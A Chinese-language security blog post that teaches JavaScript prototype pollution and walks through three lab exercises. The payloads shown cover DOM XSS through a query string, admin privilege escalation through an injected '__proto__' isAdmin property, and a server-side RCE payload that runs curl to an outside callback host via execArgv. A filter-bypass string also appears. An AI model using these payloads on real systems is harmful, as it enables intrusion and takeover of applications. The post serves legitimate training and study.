“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
引言
什么是原型污染漏洞?
原型污染是一种JavaScript漏洞,攻击者可以利用它向全局对象原型添加任意属性,然后这些属性可能会被用户定义的对象继承。尽管原型污染作为一个独立的漏洞通常无法利用,但它可以让攻击者控制原本无法访问的对象的属性。如果应用程序随后以不安全的方式处理攻击者控制的属性,则这可能与其他漏洞相关联。在客户端JavaScript中,这通常会导致DOM XSS,而服务器端原型污染甚至会导致远程代码执行。
想对这种漏洞进行详细的了解可以参考一下portswagger的文章(https://portswigger.net/web-security/prototype-pollution)
原型污染漏洞的常见类型
1.属性污染:
属性污染是一种原型污染漏洞,攻击者通过修改对象的原型链,在目标对象或其继承的对象上添加或修改属性。这可能导致应用程序在访问这些属性时出现意外行为或安全问题。
2.方法污染:
方法污染是指攻击者通过修改对象的原型链,在目标对象或其继承的对象上添加或替换方法。这样做可能导致应用程序在调用这些方法时执行恶意代码或绕过安全控制。
3.原型劫持:
原型劫持是一种原型污染漏洞,攻击者直接修改对象的原型对象,将其替换为恶意对象。这样做可以改变对象的继承关系,导致应用程序在处理该对象时出现异常行为。
4.原型逃逸:
原型逃逸漏洞是指攻击者通过修改对象的原型链,使对象绕过应用程序的安全控制,获得未授权的访问权限或执行特权操作。
原型覆盖:
原型覆盖漏洞涉及攻击者通过修改对象的原型链,覆盖目标对象原本继承的方法或属性。这可能导致应用程序在处理对象时调用错误的方法或属性,导致意外行为或安全问题。
JavaScript 原型和继承
在了解原型污染漏洞的利用过程之前先带大家了解一下JavaScript 原型和继承
1、javascript的对象
JavaScript 对象本质上只是key:value称为“属性”的对的集合,例如,以下对象代表用户:
const user = {
username: "test",
userId: 0001,
isAdmin: false
}
可以通过使用点表示法或方括号表示法来引用其各自的键来访问对象的属性:
user.username // "test"
user['userId'] // 0001
除了数据之外,属性还可能包含可执行函数。在这种情况下,该函数称为“方法”。
const user = {
username: "test",
userId: 0001,
exampleMethod: function(){
// 做什么
}
}
JavaScript 中的原型
JavaScript 中的每个对象都链接到某种类型的另一个对象,称为原型。默认情况下,JavaScript 会自动将新对象分配给其内置原型之一。例如,字符串会自动分配内置的String.prototype.下面是一些全局原型的示例。
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
对象会自动继承其指定原型的所有属性,除非它们已经拥有具有相同键的自己的属性。这使得开发人员能够创建可以重用现有对象的属性和方法的新对象。
内置原型提供了用于处理基本数据类型的有用属性和方法。例如,String.prototype对象有一个toLowerCase()方法。因此,所有字符串都会自动有一个现成的方法将它们转换为小写。这使得开发人员不必手动将此行为添加到他们创建的每个新字符串中。
JavaScript 中的对象继承
每当引用对象的属性时,JavaScript 引擎都会首先尝试直接在对象本身上访问该属性。如果对象没有匹配的属性,JavaScript 引擎会在对象的原型上查找它。
例如,我们在浏览器的console创建一个空的对象
接着输入mytest后面加个 ".",可以看到虽然我们没有没有为对象本身定义任何属性或方法,但它继承了内置的一些属性或方法Object.prototyp
原型污染漏洞的产生
当 JavaScript 函数将包含用户可控属性的对象递归地合并到现有对象中而不首先清理密钥时,通常会出现原型污染漏洞。这可以允许攻击者注入带有诸如 之类的键的属性__proto__以及任意嵌套属性。
由于JavaScript 上下文中的特殊含义__proto__,合并操作可能会将嵌套属性分配给对象的原型而不是目标对象本身。因此,攻击者可以使用包含有害值的属性来污染原型,这些属性随后可能被应用程序以危险的方式使用。
污染任何原型对象都有可能,但最常见的是发生在内置的全局Object.prototype
JavaScript 原型和继承
原型污染漏洞的利用场景可以出现在任何使用原型继承机制的动态语言应用程序中,其中最常见的是在Web应用程序和浏览器环境中。以下是一些原型污染漏洞的利用场景:
1.Web应用程序:
在Web应用程序中,原型污染漏洞可能会被利用来绕过安全控制、执行未授权操作或导致应用程序的逻辑错误。攻击者可以通过修改原型链,在用户输入被处理之前或期间注入恶意属性或方法,从而影响应用程序的行为。
2.跨站脚本攻击(XSS):
原型污染漏洞有时也被用作XSS攻击的一种手段。攻击者可以利用原型污染漏洞修改JavaScript对象的原型链,从而在目标网页中注入恶意代码,当其他用户访问该网页时执行恶意操作。
3.Node.js应用程序:
在基于Node.js的应用程序中,原型污染漏洞可能会导致应用程序的逻辑错误或安全问题。由于Node.js采用JavaScript作为服务器端语言,攻击者可以利用原型污染漏洞修改对象的原型链,引入恶意属性或方法,从而绕过安全控制或导致应用程序的意外行为。
4.浏览器环境:
在浏览器环境中,原型污染漏洞可能会被利用来修改JavaScript对象的原型链,影响网页的行为或与其他脚本进行交互。攻击者可以通过原型污染漏洞实现跨站脚本攻击、绕过浏览器的安全策略或导致网页的逻辑错误。
可能受原型污染的函数
- JSON.parse
- Object.assign
- merge()
- Object.create
- eval
- 克隆性质的相关函数
- for...in
原型污染的来源
- URL
- JSON
- web 相关输入
- ....
原型污染的常用属性
- __proto__
- prototype
- __proto__['headers']
- Object.constructor
- Object.constructor.__proto__
- ....
绕过手段
剥离字符串,例如:__pro__proto__to__
实例演示
大家可以通过以下几个在靶场利用的示例更好的来了解原型污染漏洞的利用。
一、通过浏览器 API 造成的客户端原型污染
1、浏览器中,尝试Object.prototype通过查询字符串注入任意属性来进行污染
在url拼接/?proto[foo]=test
2、接着通过在F12面板的console中输入Object.prototype查看foo的属性是否被添加
可以看到已经添加成功,说明找到了原型污染源
3、在浏览器 DevTools 面板中,转到Sources选项卡。研究目标站点加载的 JavaScript 文件并查找任何 DOM XSS 接收器。在 searchLoggerConfigurable.js中
果config对象有一个transport_url属性,则该属性用于将脚本动态附加到 DOM。transport_url为该对象定义了 一个属性config,所以看起来并不容易受到攻击。观察下一行使用该Object.defineProperty()方法使transport_url不可写和不可配置。但是,它没有定义value属性。
尝试注入任意值属性,可以看到 页面源代码上已呈现一个带有src属性 的元素 test
4、接下来可以尝试编写payload
?__proto__[value]=data:,alert(%27xss%27);
二、通过服务器端原型污染进行权限升级
1、使用wiener/peter账号登录账户,该账户为普通权限用户。
2、找到POST /my-account/change-address请求。提交表单时,字段中的数据将以 JSON 形式发送到服务器。服务器响应一个 JSON 对象,这个对象为当前用户信息。注意到响应的json中的参数是多余请求中的,其中包括了isAdmin,并且属性为false,可以这个参数是表示账户权限的。
3、向 JSON 添加一个名为 的新属性__proto__,其中包含具有任意属性的对象:
"__proto__": { "foo":"test" }
响应中的对象现在包含注入的任意属性,但不包含任何__proto__属性。这表明我们已经成功污染了对象的原型,并且属性已通过原型链继承。
4、构造payload看尝试用isAdmin属性污染原型,isAdmin响应中的值已更新。这表明该对象没有自己的isAdmin属性,而是从受污染的原型继承的。
刷新浏览器发现成功将账号权限提升为管理员。
三、通过服务器端原型污染远程执行代码
在浏览器中,转到管理面板并观察有一个用于运行维护作业的按钮。
2.单击该按钮并观察这会触发清理数据库和文件系统的后台任务。这是可能产生节点子进程的功能的典型示例。
3.尝试使用恶意属性污染原型execArgv,将--eval参数添加到生成的子进程中。使用它来调用execSync()接收器,尝试请求dnslog。
"__proto__": {
"execArgv":[
"--eval=require('child_process').execSync('curl https://716qnvvjhsv0tggno28rf5elzc52tr.oastify.com/')"
]
}
重新点击job按钮
5、查看到存在dns交互记录,命令成功执行。
总结
总的来说,原型污染漏洞的利用核心在于修改对象的原型链。原型链是一种继承机制,通过修改原型链,以达到攻击的目的。利用流程就是:创建目标对象---修改原型链---添加恶意属性或方法--利用漏洞。
burpsuite扫描插件(https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner)
参考:
https://portswigger.net/web-security/prototype-pollution
https://mp.weixin.qq.com/s/M1FY4mq5_2_EBGQTKfPhoA